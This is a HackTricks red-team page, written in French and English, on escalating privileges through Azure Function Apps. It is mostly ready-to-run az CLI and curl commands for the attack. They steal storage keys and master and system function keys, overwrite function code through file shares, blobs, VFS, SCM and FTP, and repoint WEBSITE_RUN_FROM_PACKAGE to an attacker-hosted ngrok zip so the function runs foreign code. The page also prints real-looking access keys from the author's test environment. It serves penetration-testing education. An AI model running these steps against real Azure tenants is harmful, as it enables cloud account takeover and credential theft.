Az - Functions App Privesc

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

Function Apps

Check the following page for more information:

Az - Function Apps

Bucket Read/Write

Avec des permissions de lecture sur les containers Ă  l’intĂ©rieur du Storage Account qui stocke les donnĂ©es de la function, il est possible de trouver diffĂ©rents containers (personnalisĂ©s ou avec des noms prĂ©dĂ©finis) qui peuvent contenir le code exĂ©cutĂ© par la function.

Une fois que vous trouvez oĂč le code de la function est situĂ©, si vous avez des permissions d’écriture dessus, vous pouvez faire exĂ©cuter n’importe quel code par la function et escalader les privilĂšges vers les managed identities attachĂ©es Ă  la function.

  • File Share (WEBSITE_CONTENTAZUREFILECONNECTIONSTRING and WEBSITE_CONTENTSHARE)

Le code de la function est gĂ©nĂ©ralement stockĂ© dans un file share. Avec un accĂšs suffisant, il est possible de modifier le fichier de code et forcer la function Ă  charger du code arbitraire, permettant d’escalader les privilĂšges vers les managed identities attachĂ©es Ă  la Function.

Cette méthode de déploiement configure habituellement les paramÚtres WEBSITE_CONTENTAZUREFILECONNECTIONSTRING et WEBSITE_CONTENTSHARE que vous pouvez obtenir depuis

az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>

Ces configs contiendront la Storage Account Key que la Function peut utiliser pour accéder au code.

Caution

Avec suffisamment de permissions pour se connecter au File Share et modify the script qui tourne, il est possible d’exĂ©cuter du code arbitraire dans la Function et d’escalate privileges.

The following example uses macOS to connect to the file share, but it’s recommended to check also the following page for more info about file shares:

Az - File Shares

# Username is the name of the storage account
# Password is the Storage Account Key

# Open the connection to the file share
# Change the code of the script like /site/wwwroot/function_app.py

open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
  • function-releases (WEBSITE_RUN_FROM_PACKAGE)

Il est aussi courant de trouver les archives zip dans le dossier function-releases du conteneur Storage Account que la function app utilise, dans un conteneur généralement appelé function-releases.

Généralement, cette méthode de déploiement définira la configuration WEBSITE_RUN_FROM_PACKAGE dans :

az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>

Cette configuration contient généralement une SAS URL pour télécharger le code depuis le Storage Account.

Caution

Avec des permissions suffisantes pour se connecter au blob container qui contient le code en zip, il est possible d’exĂ©cuter du code arbitraire dans la Function et d’escalader les privilĂšges.

  • github-actions-deploy (WEBSITE_RUN_FROM_PACKAGE)

Comme dans le cas précédent, si le déploiement est effectué via Github Actions, il est possible de trouver le dossier github-actions-deploy dans le Storage Account contenant un zip du code et une SAS URL vers le zip dans le paramÚtre WEBSITE_RUN_FROM_PACKAGE.

  • scm-releases(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING and WEBSITE_CONTENTSHARE)

Avec des permissions pour lire les containers Ă  l’intĂ©rieur du Storage Account qui stocke les donnĂ©es de la Function, il est possible de trouver le container scm-releases. LĂ , il est possible de trouver la derniĂšre release en Squashfs filesystem file format et donc de lire le code de la Function :

# List containers inside the storage account of the function app
az storage container list \
--account-name <acc-name> \
--output table

# List files inside one container
az storage blob list \
--account-name <acc-name> \
--container-name <container-name> \
--output table

# Download file
az storage blob download \
--account-name <res-group> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip

## Even if it looks like the file is a .zip, it's a Squashfs filesystem

# Install
brew install squashfs

# List contents of the filesystem
unsquashfs -l "/tmp/scm-latest-<app-name>.zip"

# Get all the contents
mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip

Il est Ă©galement possible de trouver les master and functions keys stockĂ©es dans le storage account, dans le container azure-webjobs-secrets, Ă  l’intĂ©rieur du dossier <app-name>, dans les fichiers JSON qui s’y trouvent.

Caution

Avec des autorisations suffisantes pour se connecter au blob container qui contains the code in a zip extension file (qui en rĂ©alitĂ© est un squashfs), il est possible d’exĂ©cuter du code arbitraire dans la Function et d’escalader les privilĂšges.

# Modify code inside the script in /tmp/fs adding your code

# Generate new filesystem file
mksquashfs /tmp/fs /tmp/scm-latest-<app-name>.zip  -b 131072 -noappend

# Upload it to the blob storage
az storage blob upload \
--account-name <storage-account> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip \
--overwrite

Microsoft.Web/sites/host/listkeys/action

Cette permission permet de lister les clés function, master et system, mais pas la clé host, de la fonction spécifiée avec:

az functionapp keys list --resource-group <res_group> --name <func-name>

Avec la master key, il est aussi possible d’obtenir le code source via une URL comme :

# Get "script_href" from
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"

# Access
curl "<script-href>?code=<master-key>"
# Python function app example
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
# JavaScript function app example
curl "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" -v

Et pour modifier le code qui est exécuté dans la fonction avec :

# Set the code to set in the function in /tmp/function_app.py
## Python function app example
curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \
--data-binary @/tmp/function_app.py \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v

# NodeJS function app example
curl -X PUT "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" \
--data-binary @/tmp/index.js \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v

Microsoft.Web/sites/functions/listKeys/action

Cette permission permet d’obtenir la clĂ© par dĂ©faut de la fonction spĂ©cifiĂ©e avec :

az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"

Appeler la fonction en utilisant la clé par défaut obtenue :

curl "https://<app-name>.azurewebsites.net/api/<func-endpoint-name>?code=<default-key>"

Microsoft.Web/sites/host/functionKeys/write

Cette permission permet de créer/mettre à jour une clé de fonction de la fonction spécifiée avec :

az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==

Microsoft.Web/sites/host/masterKey/write

Cette permission permet de créer/mettre à jour une master key pour la fonction spécifiée avec :

az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==

Caution

N’oubliez pas qu’avec cette key vous pouvez Ă©galement accĂ©der au source code et le modifier comme expliquĂ© prĂ©cĂ©demment !

Microsoft.Web/sites/host/systemKeys/write

Cette permission permet de créer/mettre à jour un system function key pour la function spécifiée avec :

az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==

Utilisez la clé :

# Ejemplo: Acceso a endpoints de Durable Functions
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/durabletask/instances?code=<system-key>"

# Ejemplo: Acceso a Event Grid webhooks
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/eventgrid?code=<system-key>"

Microsoft.Web/sites/config/list/action

Cette permission permet d’obtenir les paramĂštres d’une fonction. Dans ces configurations, il peut ĂȘtre possible de trouver les valeurs par dĂ©faut AzureWebJobsStorage ou WEBSITE_CONTENTAZUREFILECONNECTIONSTRING qui contiennent une clĂ© de compte permettant d’accĂ©der au blob storage de la fonction avec des autorisations COMPLETES.

az functionapp config appsettings list --name <func-name> --resource-group <res-group>

De plus, cette permission permet Ă©galement d’obtenir le SCM username and password (si activĂ©s) avec :

az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"

Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write

Ces permissions permettent de lister les valeurs de configuration d’une fonction comme nous l’avons vu prĂ©cĂ©demment, et aussi de modifier ces valeurs. C’est utile car ces paramĂštres indiquent oĂč se trouve le code Ă  exĂ©cuter Ă  l’intĂ©rieur de la fonction.

Il est donc possible de définir la valeur du paramÚtre WEBSITE_RUN_FROM_PACKAGE pointant vers un fichier zip accessible via une URL contenant le nouveau code à exécuter dans une application web :

  • Commencez par rĂ©cupĂ©rer la configuration actuelle
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-name>
  • CrĂ©ez le code que vous voulez que la fonction exĂ©cute et hĂ©bergez-le publiquement
# Write inside /tmp/web/function_app.py the code of the function
cd /tmp/web/function_app.py
zip function_app.zip function_app.py
python3 -m http.server

# Serve it using ngrok for example
ngrok http 8000
  • Modifiez la fonction, conservez les paramĂštres prĂ©cĂ©dents et ajoutez Ă  la fin la config WEBSITE_RUN_FROM_PACKAGE pointant vers l’URL contenant le zip avec le code.

L’exemple suivant montre mes propres paramĂštres — vous devrez remplacer les valeurs par les vĂŽtres, notez qu’à la fin la valeur "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip" indique oĂč j’hĂ©bergeais l’application.

# Modify the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/newfunctiontestlatestrelease/config/appsettings?api-version=2023-01-01" \
--headers '{"Content-Type": "application/json"}' \
--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'

Microsoft.Web/sites/hostruntime/vfs/write

Avec cette permission, il est possible de modifier le code d’une application via la console web (ou via le point de terminaison API suivant) :

# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
--body @/tmp/body

# Through the SCM URL (using Azure permissions or SCM creds)
az rest --method PUT \
--url "https://consumptionexample.scm.azurewebsites.net/api/vfs/site/wwwroot/HttpExample/index.js" \
--resource "https://management.azure.com/" \
--headers "If-Match=*" \
--body 'module.exports = async function (context, req) {
context.log("JavaScript HTTP trigger function processed a request. Training Demo 2");

const name = (req.query.name || (req.body && req.body.name));
const responseMessage = name
? "Hello, " + name + ". This HTTP triggered function executed successfully. Training Demo 2"
: "This HTTP triggered function executed successfully. Pass a name in the query string or in the request body for a personalized response. Training Demo 2";

context.res = {
// status: 200, /* Defaults to 200 */
body: responseMessage
};
}'

Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write)

Cette permission permet de lister tous les profils de publication qui contiennent essentiellement des basic auth credentials :

# Get creds
az functionapp deployment list-publishing-profiles \
--name <app-name> \
--resource-group <res-name> \
--output json

Une autre option serait de définir vos propres creds et de les utiliser :

az functionapp deployment user set \
--user-name DeployUser123456 g \
--password 'P@ssw0rd123!'
  • Si les identifiants REDACTED

Si vous voyez que ces identifiants sont REDACTED, c’est parce que vous devez activer l’option SCM basic authentication et pour cela vous avez besoin de la seconde permission (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):

# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'

# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}
  • MĂ©thode SCM

Ensuite, vous pouvez accĂ©der Ă  l’URL SCM de votre function app avec ces basic auth credentials et obtenir les valeurs des env variables :

# Get settings values
curl -u '<username>:<password>' \
https://<app-name>.scm.azurewebsites.net/api/settings -v

# Deploy code to the funciton
zip function_app.zip function_app.py # Your code in function_app.py
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
https://<app-name>.scm.azurewebsites.net/api/zipdeploy

Notez que le nom d’utilisateur SCM est gĂ©nĂ©ralement le caractĂšre “$” suivi du nom de l’application, donc : $<app-name>.

Vous pouvez aussi accéder à la page web depuis https://<app-name>.scm.azurewebsites.net/BasicAuth

Les valeurs des settings contiennent la AccountKey du storage account qui stocke les données de la function app, ce qui permet de contrÎler ce storage account.

  • MĂ©thode FTP

Connectez-vous au serveur FTP en utilisant :

# macOS install lftp
brew install lftp

# Connect using lftp
lftp -u '<username>','<password>' \
ftps://waws-prod-yq1-005dr.ftp.azurewebsites.windows.net/site/wwwroot/

# Some commands
ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it

Notez que le FTP username est généralement au format <app-name>\$<app-name>.

Microsoft.Web/sites/hostruntime/vfs/read

Cette permission permet de lire le code source de l’app via le VFS :

az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"

Microsoft.Web/sites/functions/token/action

Avec cette permission il est possible de get the admin token qui peut ensuite ĂȘtre utilisĂ© pour rĂ©cupĂ©rer la master key et donc accĂ©der et modifier the function’s code.

Cependant, lors de mes derniers contrĂŽles aucun token n’a Ă©tĂ© retournĂ©, donc il se peut qu’il soit dĂ©sactivĂ© ou ne fonctionne plus, mais voici comment procĂ©der :

# Get admin token
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01"

# Get master key
curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
-H "Authorization: Bearer <token>"

Microsoft.Web/sites/config/write, (Microsoft.Web/sites/functions/properties/read)

Ces permissions permettent d’activer des fonctions qui pourraient ĂȘtre dĂ©sactivĂ©es (ou de les dĂ©sactiver).

# Enable a disabled function
az functionapp config appsettings set \
--name <app-name> \
--resource-group <res-group> \
--settings "AzureWebJobs.http_trigger1.Disabled=false"

Il est Ă©galement possible de vĂ©rifier si une fonction est activĂ©e ou dĂ©sactivĂ©e Ă  l’URL suivante (en utilisant l’autorisation entre parenthĂšses) :

az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"

Microsoft.Web/sites/config/write, Microsoft.Web/sites/config/list/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/read)

Avec ces permissions il est possible de modifier le conteneur exĂ©cutĂ© par une function app configurĂ©e pour exĂ©cuter un container. Cela permettrait Ă  un attaquant de tĂ©lĂ©verser une azure function container app malveillante sur docker hub (par exemple) et de faire en sorte que la function app l’exĂ©cute.

az functionapp config container set --name <app-name> \
--resource-group <res-group> \
--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"

Microsoft.Web/sites/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/operationresults/read)

Avec ces permissions, il est possible d’attacher une nouvelle user managed identity Ă  une function. Si la function Ă©tait compromise, cela permettrait d’escalader les privilĂšges sur n’importe quelle user managed identity.

az functionapp identity assign \
--name <app-name> \
--resource-group <res-group> \
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>

Remote Debugging

Il est aussi possible de se connecter pour dĂ©boguer une Azure function en cours d’exĂ©cution comme explained in the docs. Cependant, par dĂ©faut Azure dĂ©sactivera cette option au bout de 2 jours si le dĂ©veloppeur l’oublie, afin d’éviter de laisser des configurations vulnĂ©rables.

Il est possible de vérifier si une Function a le débogage activé avec:

az functionapp show --name <app-name> --resource-group <res-group>

En disposant de la permission Microsoft.Web/sites/config/write, il est également possible de mettre une fonction en mode débogage (la commande suivante nécessite aussi les permissions Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/Read et Microsoft.Web/sites/Read).

az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>

Changer le repo Github

J’ai essayĂ© de changer le repo Github d’oĂč le dĂ©ploiement a lieu en exĂ©cutant les commandes suivantes, mais mĂȘme si cela a changĂ©, le nouveau code n’a pas Ă©tĂ© chargĂ© (probablement parce qu’il attend que la Github Action mette Ă  jour le code).
De plus, la managed identity federated credential wasn’t updated pour autoriser le nouveau repository, donc cela ne semble pas trùs utile.

# Remove current
az functionapp deployment source delete \
--name funcGithub \
--resource-group Resource_Group_1

# Load new public repo
az functionapp deployment source config \
--name funcGithub \
--resource-group Resource_Group_1 \
--repo-url "https://github.com/orgname/azure_func3" \
--branch main --github-action true

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks